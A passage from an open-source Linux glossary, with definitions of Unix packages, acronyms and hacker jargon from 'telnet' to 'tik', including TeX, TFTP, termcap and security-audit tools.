The command and program used to login from one Internet site to another. The telnet command/program gets you to the login: prompt of another host. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

telnet
The telnet client. The telnet command is used for interactive communication with another host using the TELNET protocol. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Telnet
This program enables connection to foreign or remote host computers, (usually mainframes) and provides access information on them. From Faculty−of−Education http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

telnet−client−krb5
Telnet is a popular protocol for logging into remote systems over the Internet. The telnet package provides a command line telnet client. Install the telnet package if you want to telnet to remote machines. This version supports kerberos authentication. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

telnet−ssl
The telnet client with SSL encryption support. The telnet command is used for interactive communication with another host using the TELNET protocol. SSL telnet(d) replaces normal telnet(d) using SSL authentication and encryption. It interoperates with normal telnet(d) in both directions. It checks if the other side is also talking SSL, if not it falls back to normal telnet protocol. Advantages over normal telnet(d): Your passwords and the data you send will not go in cleartext over the line. Nobody can get it with tcpdump or similar tools. With SSLtelnet you can also connect to https−server like https://www.netscape.com. Just do 'telnet www.netscape.com 443' From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

telnet.netkit
user interface to the TELNET protocol From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TELNETD
TELephone NETwork DAEMON (Unix, TELNET, DAEMON) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

telnetd
The telnet server. The in.telnetd program is a server which supports the DARPA telnet interactive communication protocol. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

telnetd−ssl
The telnet server with SSL encryption support. The in.telnetd program is a server which supports the DARPA telnet interactive communication protocol. SSL telnet(d) replaces normal telnet(d) using SSL authentication and encryption. It interoperates with normal telnet(d) in both directions. It checks if the other side is also talking SSL, if not it falls back to normal telnet protocol. Advantages over normal telnet(d): Your passwords and the data you send will not go in cleartext over the line. Nobody can get it with tcpdump or similar tools. With SSLtelnet you can also connect to https−server like https://www.netscape.com. Just do 'telnet www.netscape.com 443' From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tempfile
create a temporary file in a safe manner From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Template
In a program, a document or worksheet that includes the text or formulas needed to create standardized documents. The template can be used to automate the creation of these documents in the future. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

template−new
A template system template−new is called new by upstream author. It is especially useful in conjunction with a simple text editor such as vi. The user maintains templates which may contain

format strings. At run time, new replaces the format strings in a template with appropriate values to create a new file. This amounts to creation of new files from templates by issuing a command like: new file.C It comes with a large set of predefined templates. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TEN
: TransEuropean Networks (network) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tendra
: A C and C++ compiler and checker using TDF/ANDF. TenDRA is a free C/C++ compiler built around the TDF/ANDF format which provides strict conformance checks for a range of APIs. Among those currently supported are ANSI and ISO C, POSIX 1 & 2, System V, Unix95, XPG3 and XPG4. C++ support is extremely limited in this release. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Terabyte
: 1000 gigabytes. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

teraflop club
: /te'r*−flop kluhb/ n. http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TERENA
: Trans−European Research and Education Networking Association (org., Netherlands, Europe) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TERMCAP
: TERMinal CAPability (Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

termcap
: The termcap package provides the /etc/termcap file. /etc/termcap is a database which defines the capabilities of various terminals and terminal emulators. Certain programs use the /etc/termcap file to access various features of terminals (the bell, colors, and graphics, etc.). From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

termcap−compat
: Compatibility package for old termcap−based programs. The termcap−compat package provides the libtermcap.so.2 and /etc/termcap files which are required to run non−Debian, binary−only termcap−based programs. Since libc6−based programs are hopefully "modern" enough to be linked with ncurses (or slang), this package only provides a libc5−based libtermcap library. You do not need to install this package to run Debian−packaged programs since Debian GNU/Linux uses terminfo and not termcap. You need this package if a program (that you cannot recompile) fails to run with the error message "...: can't load library 'libtermcap.so.2'" or complains about a missing /etc/termcap file. The termcap−compat package isn't meant to be used to compile programs therefore it doesn't provide all the necessary files for compilation. If you want to compile a program that claims to need termcap, why not try ncurses's termcap emulation instead? It's as simple as linking with ncurses instead of libtermcap (i.e. replace the '−ltermcap' with '−lncurses' in the makefile). Ncurses' termcap emulation routines translate terminfo entries to termcap entries on the fly, so you don't even need an /etc/termcap file. This package provides: libtermcap.so shared library, version 2.0.8 termcap database, version 10.2.7 From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Terminal
: A device that allows you to send commands to a computer somewhere else. At a minimum, this usually means a keyboard and a display screen and some simple circuitry. Usually you will use terminal software in a personal computer − the software pretends to be (emulates) a physical terminal and allows you to type commands to a computer somewhere else. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Terminal emulation

The use of a communications progam to transform a computer into a terminal for the purpose of data communication. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

terminal emulator

program that allows a computer to act like a (particular brand of) terminal, e.g. a vt−100. The computer thus appears as a terminal to the host computer and accepts the same escape sequences for functions such as cursor positioning and clearing the screen. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Terminal Server

A special purpose computer that has places to plug in many modemson one side, and a connection to a LAN or host machine onthe other side. Thus the terminal server does the work of answering thecalls and passes the connections on to the appropriate node. Mostterminal servers can provide PPP or SLIP services if connectedto the Internet. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

terminal window

Application screen for typing system commands. See shell prompt. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TERMINFO

TERMinal INFOrmation (Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

termwrap

terminal wrapper From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

terraform

A height field manipulation program Allows you to create a fractal terrain (also called a height field) and transform it using a number of algorithms. It is meant to be a tool for those who want to generate digital terrain models for use in raytracing or other simulations. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TES

Technology Enabled Marketing From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TESS

The Exponential Security System (RFC 1824) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

test

check file types and compare values From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

test

n. 1. Real users bashing on a prototype long enough to get thoroughly acquainted with it, with careful monitoring and followup of the results. 2. Some bored random user trying a couple of the simpler features with a developer looking over his or her shoulder, ready to pounce on mistakes. Judging by the quality of most software, the second definition is far more prevalent. See also demo. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

testparm

check an smb.conf configuration file for internal correctness From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

testprns

check printer name for validity with smbd From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tetex

TeTeX is an implementation of TeX for Linux or UNIX systems. TeX takes a text file and a set of formatting commands as input and creates a typesetter−independent .dvi (DeVice Independent) file as output. Usually, TeX is used in conjunction with a higher level formatting package like LaTeX or

PlainTeX, since TeX by itself is not very user−friendly.Install tetex if you want to use the TeX text formatting system. If you are installing tetex, you will also need to install tetex−afm (aPostScript(TM) font converter for TeX), tetex−dvilj (for converting.dvi files to HP PCL format for printing on HP and HP compatible printers), tetex−dvips (for converting .dvi files to PostScript format for printing on PostScript printers), tetex−latex (a higher level formatting package which provides an easier−to−use interface for TeX), and tetex−xdvi (for previewing .dvi files in X). Unless you are anexpert at using TeX, you should also install the tetex−doc package, which includes the documentation for TeX. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tethereal

Network traffic analyzer (console) Ethereal is a network traffic analyzer, or "sniffer", for Unix and Unix−like operating systems. A sniffer is a tool used to capture packets off the wire. Ethereal decodes numerous protocols (too many to list). This package provides the console version of ethereal, named "tethereal". From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tetradraw

ANSI drawing and viewing utility. tetradraw is an easy to use drawing utility that gives you an ease access to the high characters like smileys, card signs and the well known single and double frame line characters but much more. Also the changing of foreground and background colors is not hard to do. tetraview is the viewer for such produced images. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TeX

/tekh/ n. An extremely powerful macro−based text formatter written by Donald E. Knuth, very popular in the computer−science community (it is good enough to have displaced Unix troff, the other favored formatter, even at many Unix installations). TeX fans insist on the correct (guttural) pronunciation, and the correct spelling (all caps, squished together, with the E depressed below the baseline; the mixed−case `TeX' is considered an acceptable kluge on ASCII−only devices). Fans like to proliferate names from the word `TeX' −− such as TeXnician (TeX user), TeXhacker (TeX programmer), TeXmaster (competent TeX programmer), TeXhax, and TeXnique. See also CrApTeX. Knuth began TeX because he had become annoyed at the declining quality of the typesetting in volumes I−III of his monumental "Art of Computer Programming" (see Knuth, also bible). In a manifestation of the typical hackish urge to solve the problem at hand once and for all, he began to design his own typesetting language. He thought he would finish it on his sabbatical in 1978; he was wrong by only about 8 years. The language was finally frozen around 1985, but volume IV of "The Art of Computer Programming" is not expected to appear until 2002. The impact and influence of TeX's design has been such that nobody minds this very much. Many grand hackish projects have started as a bit of toolsmithing on the way to something else; Knuth's diversion was simply on a grander scale than most. TeX has also been a noteworthy example of free, shared, but high−quality software. Knuth offers a monetary awards to anyone who found and reported bugs dating from before the 1989 code freeze; as the years wore on and the few remaining bugs were fixed (and new ones even harder to find), the bribe went up. Though well−written, TeX is so large (and so full of cutting edge technique) that it is said to have unearthed at least one bug in every Pascal system it has been compiled with. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TeX

A popular macro−based text formatter. The basis for other such formatters, including LaTeX and teTeX. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TeX

An extremely powerful macro−based text formatter written by Donald E. Knuth, very popular in the computer−science community (it is good enough to have displaced Unix troff, the other favored formatter, even at many Unix installations). From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tex

text formatting and typesetting From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tex−chess

Chess fonts for TeX/LaTeX. Piet Tutelaers' chess fonts for TeX/LaTeX. The included style file allows one to typesets moves, games and diagrams. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tex−guy

miscellaneous utilities using DVIlib This package contains several utilities useful for dealing with TeX DVI files. dvi2misc generates PostScript, PGM or images for EPSON ESC/Page and Ricoh RPDL printers from a TeX DVI. It can be used as an DVI driver for those printers. dvifontlist displays a list of fonts used in a DVI file, while dvispecials displays a list of 'special' commands in a DVI file. dvipages shows the number of pages in a DVI file. xgdvi, spawx11 and spawg has been separated since they depend on X and/or GTK+ libraries. This is a part of the TeX−Guy distribution. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tex4ht

LaTeX and TeX for Hypertext (HTML) TeX4ht is a highly configurable TeX−based authoring system for producing hypertext. It interacts with TeX−based applications through style files and postprocessors, leaving the processing of the source files to the native TeX compiler. Consequently, TeX4ht can handle the features of TeX−based systems in general, and of LaTeX in particular. TeX4ht can be used both for authoring HTML using TeX/LaTeX input files, or for converting existing TeX input files (in any format) into HTML, with (usually) only minor modifications. You will need imagemagick suite of programs to convert from graphics in DVI files, as output by TeX (via postscript) to GIF, PNG or JPEG files. Alternatively, you could use ghostscript and programs from the netpbm package after adjusting TeX4ht's configuration. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

texconfig

configures teTeX From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

texdoc

Utility to maintain TeX format files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

texdoctk

GUI for easier access of TeX package and program documentations texdoctk is a GUI for easier access of a large part of the vast amount of package and program documentations and tutorials for TeX and its different derivatives (mainly LaTeX). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TEXEL

TEXture ELement From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

texexec

ConTeXt and PDF auxiliary program and batch processor From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

texhash

create ls−R databases From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

texi2dvi

print Texinfo documents From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

texi2html

Convert Texinfo files to HTML texi2html is a Perl script that converts Texinfo files to HTML. The program takes Texinfo files (not info ones) and produces a set of HTML files. The quality of the output is close to the printed output and is much better than an info−>HTML gateway. Compared to the output of `makeinfo −−html', texi2html's output is more customizable and (subjectively) produces better output by default. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

texi2pdf

create a PDF file from a Texinfo file From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

texindex

sort Texinfo index files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

texinfo

Documentation system for on−line information and printed output Texinfo is a documentation system that uses a single source file to produce both on−line information and printed output. Using Texinfo, you can create a printed document with the normal features of a book, including chapters, sections, cross references, and indices. From the same Texinfo source file, you can create a menu−driven, on−line Info file with nodes, menus, cross references, and indices. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

texinfo

Texinfo is a documentation system that can produce both online informationand printed output from a single source file. Normally, you'd have to write two separate documents: one for online help or other online information and the other for a typeset manual or other printed work. Using Texinfo, you only need to write one source document. Then when the work needs revision, you only have to revise one source document. The GNU Project uses the Texinfo file format for most of its documentation. Install texinfo if you want a documentation system for producing both online and print documentation from the same source file and/or if you are going to write documentation for the GNU Project. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

texlinks

maintain symbolic links from format to engine From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

texmacs

WYSIWYG emacs−ish mathematical text editor, using tex fonts GNU TeXmacs is a free scientific text editor, which was both inspired by TeX and GNU Emacs. The editor allows you to write structured documents via a WYSIWYG (what−you−see−is−what−you−get) and user friendly interface. New styles may be created by the user. The program implements high−quality typesetting algorithms and TeX fonts, which help you to produce professionally looking documents. The high typesetting quality still goes through for automatically generated formulas, which makes TeXmacs suitable as an interface for computer algebra systems. TeXmacs also supports the Guile/Scheme extension language, so that you may customize the interface and write your own extensions to the editor. In the future, TeXmacs is planned to evolve towards a complete scientific office suite, with spreadsheet capacities, a technical drawing editor and a presentation mode. See the TeXmacs home page http://www.texmacs.org. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

texshow

ConTeXt command and parameter reference From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

text

n. 1. [techspeak] Executable code, esp. a `pure code' portion shared between multiple instances of a program running in a multitasking OS. Compare English. 2. Textual material in the mainstream sense; data in ordinary ASCII or EBCDIC representation (see flat−ASCII). "Those are text files; you can review them using the editor." These two contradictory senses confuse hackers, too. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

text

This word has multiple senses. Historically, it comes the standard English word meaning that main body of a printed or written work. For example, the text of a letter somebody sent you distinguishes the body of the letter from the envelope or the greeting. In cryptography, the word TEXT means anything you might want to encrypt, where the words plaintext indicates the message before you encrypt it and ciphertext indicates the message after you encrypt it. In other areas of computer science, there is text data and binary data. The phrase "text" generally means human readable data, such as English text, whereas the word binary indicates data that can only be read by the computer. Misunderstanding: We sometimes encrypt binary data, in which case the binary data forms that plain text of the message. Conversely, the body of a binary program that runs is often referred to as the TEXT of the program. In both these particular areas, the word "TEXT" is indicating the oppose meaning of the general usage. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Text Editor
: A program for editing text files. Similar to a word processor, but without most/all of the formatting functions (such as margins, italics, fonts, etc.). Often used for writing or editing scripts, programs and ASCII text files (such as README.1ST). From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

text editor
: An application for reading and editing plain text files. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Text editor
: In programming, a program designed for altering sequences of words and numbers, but without the features of a full−fledged word processing program. Text editors are used for writing source code as well as creating basic text documents. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

text field
: Area in a program or application for typing a word or group of words. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Text Formatter
: A program that prepares a text document for printing, allowing the user to perform many layout functions, such as margins, headers, footers, indentation, pagination and justification. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

text mode installation
: Keyboard−oriented installation of a program or operating system, normally non−graphical. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

text user interface (TUI)
: A non−graphical interface for the interactive use of a computer system, usually utilizing only a keyboard for input. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

textchk
: This package provides a text analysis system. Textchk is a text analysis system to check spelling and/or stylistic conventions. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

texteroids
: test your mousing skills on spinning text From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

textutils
: A set of GNU utilities for modifying the contents of files, including programs for splitting, joining, comparing, and modifying files. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

textutils
: The GNU text file processing utilities. The utilities: cat cksum comm csplit cut expand fmt fold head join md5sum nl od paste pr ptx sort split sum tac tail tr tsort unexpand uniq wc. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

texutil

ConTeXt auxiliary program From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tf

Tinyfugue MUD client for TinyMUDs, DikuMUDs, and LPMUDs TinyFugue (also known as "Fugue" or "TF") is a line−based client designed for connecting to MUD servers (note: LP, Diku, and other servers which use prompts require "/lp on"; see /help prompts). TinyFugue is larger than most MUD clients, but has many more features and is much more flexible. The goal is to provide the most functionality in a client that still maintains the user−friendliness of Tinytalk. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tftopl

convert TeX font metric (tfm) files to property lists From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tftp

Trivial file transfer program. Tftp is the user interface to the Internet TFTP (Trivial File Transfer Protocol), which allows users to transfer files to and from a remote machine. The remote host may be specified on the command line, in which case tftp uses host as the default host for future transfers. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TFTP

Trivial File Transfer Protocol (UDP, RFC 1350/1782/1783/1784/1785) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TFTP

Trivial File Transfer Protocol TFTP is a bare−bones protocol used by devices that boot from the network. It is runs on top of UDP, so it doesn't require a real TCP/IP stack. Misunderstanding: Many people describe TFTP as simply a trivial version of FTP. This misses the point. The purpose of TFTP is not to reduce the complexity of file transfer, but to reduce the complexity of the underlying TCP/IP stack so that it can fit inside boot ROMs. Key point: TFTP is almost always used with BOOTP. BOOTP first configures the device, then TFTP transfers the boot image named by BOOTP. Key point: Many systems come with unnecessary TFTP servers. Many TFTP servers have bugs, like the backtracking problem or buffer overflows. As a consequence, many systems can be exploited with TFTP even though virtually nobody really uses it. Key point: A TFTP file transfer client is built into many operating systems (UNIX, Windows, etc.). These clients are often used to download rootkits when being broken into. Therefore, removing the TFTP client should be part of your hardening procedure. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TFTP

Trivial File Transfer Protocol: this is a simplified version of FTP without authentication and many other basic features. Often used for booting devices over a network. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tftp−server

The Trivial File Transfer Protocol (TFTP) is normally used only for booting diskless workstations. The tftp−server package provides the server for TFTP, which allows users to transfer files to and from a remote machine. TFTP provides very little security, and should not be enabled unless it is expressly needed. The TFTP server is run from/etc/xinetd.d/tftp, and is disabled by default on Red Hat Linuxsystems. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tftpd

Internet trivial file transfer protocol server. Tftpd is a server which supports the Internet Trivial File Transfer Protocol (RFC 783). The TFTP server operates at the port indicated in the `tftp' service description; see services(5). The server is normally started by inetd(8). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TFTR

Trivial File Transfer Protocol From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TGC

Terminal Group Controller From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tgif

Interactive 2−D drawing facility under X11. Tgif has little to do with GIF files. It is a 2−D vector based drawing program which can produce output suitable for LaTeX or in PostScript. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Thai Linux Extension

The website is in Thai. Redmond Linux and compatible do appear in the text. Thailand based distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

thai−system

A base package for Thai environment under X11 This package contains some experimental stuffs for Thai environment. User, however, needs to do some manual configurations to complete the installation. Guidance is provided in /usr/share/doc/thai−system. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

thailatex

Thai Latex package This package provides Thai language add−on for Latex. It is based on babel package which comes with tetex distribution. This package needs Thai words separator such as cttex and swath, in order for latex to be able to break sentences. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

THAMA

Trident Hardware−Assisted MPEG−2/AC−3 (Trident, MPEG, DVD, AC−3) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

the

Full−screen character mode text editor. THE (The Hessling Editor) is a text editor that uses both command line commands and key bindings to operate. It is intended to be similar to the VM/CMS System Product Editor, XEDIT and to KEDIT from Mansfield Software. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

THE
: Technische Hoogeschool Eindhoven (OS), "T.H.E." From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

THE
: The Hessling Editor From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

theme−converters
: Convert WindowMaker/GTK+/Sawmill theme packages to .debs This takes .tar.gz files from, for example, wm.themes.org or gtk.themes.orig, and converts them into .deb packages. The .deb packages it produces are acceptable for local use, but are not really policy−conformant, notably since they cannot reliably create a reasonable /usr/doc/<theme>/copyright file. Packages made using this package are named "wmaker−<foo>−theme" for WindowMaker themes and "gtk−<foo>−theme" for GTK themes etc. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

THENET
: Texas Higher Education NETwork (network, USA), "THEnet" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Think Blue Linux
: Think Blue was the original port of Linux to the IBM mainframe. ThinkBlue/64 7.1a, a respin of ThinkBlue/64 7.1 with all updates integrated was released October 11, 2001. (IBM) Note: Most of the Leading Distributions support IBM mainframes. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ThinStation
: ThinStation is a Linux distribution that enables you to convert standard PCs into full−featured diskless thinclients supporting all major connectivity protocols. It can be booted from the network using Etherboot/PXE or from standard media like floppy/CD/hd/flash−disk etc. The configuration is centralized to simplify terminal management. The initial Freshmeat release was on May 15, 2003, version 0.91. Version 0.92 was released June 12, 2003. A 'special purpose/mini' distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ThizLinux
: ThizLinux Labratory Ltd., home of the ThizLinux distribution, is based in Hong Kong. Products include Thiz Linux Desktop 6.0, Thiz Office 3.0 (an Open Office clone localized for Hong Kong users), and Thiz Server 6.0. Entry added August 20, 2002. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

thoughttracker
: A non−hierarchical, hyperlinked knowledge base. ThoughtTracker is a knowledge base application. Its purpose is to provide you with a searchable hyperlinked database of information and ideas. ThoughtTracker is localized for English, French, and German. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Thread
: A series of discussions posted on a listserver, Usenet newsgroup, or conference that deals with the same subject. From Faculty−of−Education http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Thread
: A small piece of programming that acts as an independent subset of a larger program, also called a "process". A multithreaded program can run much faster than a monolithic, or single−threaded, program because several, or even many, different tasks can be performed concurrently, rather than serially (sequentially). Also, threads within a single application can share resources and pass data back and forth between themselves. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

threaded code

A technique for implementing virtual machine interpreters, introduced by J.R. Bell in 1973, where each op−code in the virtual machine instruction set is the address of some (lower level) code to perform the required operation. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

thrust

a port of the classic Commodore 64 game The object of the game is to lift the Klystron Pod from the bottom of a cave and return it safely to space. The Pod is very heavy (compared to the ship) and this makes it tougher than it may seem. You must be careful not to run out of fuel, crash into the cave walls, or let the enemy artillery outposts shoot you down. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

THT

Token Holding Timer (FDDI, Token Ring) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

thttpd

tiny/turbo/throttling HTTP server thttpd is a small, fast secure webserver. It features CGI support, URL−traffic−based throttling and basic authentication. thttpd has a very small memory footprint as it only forks itself in order to execute CGI scripts. It is designed to be as fast as fully featured web−servers and it performs extremely well under high load. According to the netcraft survey of April, thttpd is used by 365455 sites across the Internet. This package contains the thttpd server. For thttpd support programs see the thttpd−util package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

thumbnail

An image that has been scaled down to a size suitable for previewing only. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

thumbpdf

generate thumbnail images for a PDF file created with pdftex From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tidev−modules−source

Sources for drivers for Texas Instruments calculators link cables This package will be useful to you if you own a Texas Instruments calculator and want to use one of the following link cables : o official "black cable" from Texas Instruments (BlackLink) o home−made serial link o home−made parallel cable o official GraphLink USB from Texas Instruments (SilverLink) This package contains the sources of the drivers, which you need to compile before using it. Please read /usr/share/doc/tidev−source/README.Debian for more informations on how to achieve that. You must have the parport driver built either in your kernel or as a module to use the tipar_dev driver. You need a kernel with the USB core to use the tiusb_dev driver. You'll also need a linking software such as TiLP to communicate with your calculator. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TIDL

Tool Integration Description Language (JCF) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tidy

HTML syntax checker and reformatter Corrects markup in a way compliant with the latest standards, and optimal for the popular browsers. It has a comprehensive knowledge of the attributes defined in the HTML 4.0 recommendation from W3C, and understands the US ASCII, ISO Latin−1, UTF−8 and the ISO 2022 family of 7−bit encodings. In the output: * HTML entity names for characters are used when appropriate. * Missing attribute quotes are added, and mismatched quotes found. * Tags lacking a terminating '>' are spotted. * Proprietary elements are recognized and reported as such. * The page is reformatted, from a choice of indentation styles. Tidy is a product of the World Wide Web Consortium. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Texas Instruments Graphics Adapter (Texas Instruments) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tiger

Report system security vulnerabilities TIGER, or the 'tiger' scripts, is a set of Bourne shell scripts, C programs and data files which are used to perform a security audit of UNIX systems. TIGER has one primary goal: report ways 'root' can be compromised. Debian's TIGER incorporates new checks primarily oriented towards Debian distribution including: md5sums checks of installed files, location of files not belonging to packages and check of security advisories. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tiger teams (sneakers)

A team of "white−hats" attack and secure systems. Some of these teams are given the task to penetrate the systems, other are just to review security procedures with an eye of how they might be penetrated. This is a favorite of government and paranoid organizations. Controversy: Tiger teams aren't afraid of prosecution and start with a greater degree of knowledge about the victim. Therefore, many people argue whether a successful penetration by a tiger team reflects a real−world scenario. For example, if you don't fear prosecution, then you might simply do a physical break−in. A physical break−in will always result in a successful "hack" because you can install keystroke loggers, password sniffers, or simply steal disk drives. Controversy: There are some cases where tiger teams have actually stolen sensitive information. History: This originally a military term, where teams would enter secure installations and leave behind notes like "bomb" or "theft" in sensitive areas to prove that they had been there, and that they could have left behind bombs or stolen secret plans. From Hacking−Lexicon
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tightvnc

The enhanced version of VNC, called TightVNC (grown from the VNC TightEncoder project), which is optimized to work over slow networkconnections such as low−speed modem links. While original VNC may be very slow when your connection is not fast enough, with TightVNC you canwork remotely almost in real time in most environments. Besides bandwidth optimizations, TightVNC also includes many other improvements, optimizations and bugfixes over VNC. Note that TightVNC is free, cross−platform and compatible with the standard VNC. From Mandrake 9.0 RPM
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tik

